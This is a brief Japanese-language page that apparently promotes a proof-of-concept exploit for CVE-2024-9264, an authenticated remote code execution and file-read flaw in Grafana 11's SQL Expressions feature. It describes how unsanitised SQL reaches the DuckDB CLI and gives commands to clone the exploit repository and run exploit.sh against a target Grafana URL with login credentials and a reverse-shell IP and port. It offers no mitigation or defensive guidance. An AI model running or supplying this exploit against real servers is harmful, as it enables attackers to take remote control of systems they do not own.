
Grafana (v11.0) における SQL Expressions を利用した認証済みRCE - PoC Exploit
Grafana (v11.0) における SQL Expressions を介した認証済み RCE - PoC Exploit
CVE-2024-9264 - Grafana v11.0
認証済みリモートコード実行 (RCE)
PoC
CVE-2024-9264 は、Grafana 11 の実験的な「SQL Expressions」機能で導入された、重大なリモートコード実行およびローカルファイルインクルージョンの脆弱性です。API はユーザーが入力した SQL を適切なサニタイズなしに DuckDB CLI に直接渡すため、Viewer 以上の権限を持つ認証済みアカウントであれば、duckdb バイナリがサーバーの PATH にあれば、シェルコマンドの注入や任意のファイルの読み取りが可能です。
git clone https://github.com/rvizx/CVE-2024-9264
cd CVE-2024-9264
chmod +x exploit.sh
# usage
usage: ./exploit.sh <grafana_url> <username> <password> <reverse_ip> <reverse_port>
使用例:
./exploit.sh http://grafana.example.com admin LMCOP4X2?29DX2%332! 10.10.10.10 1337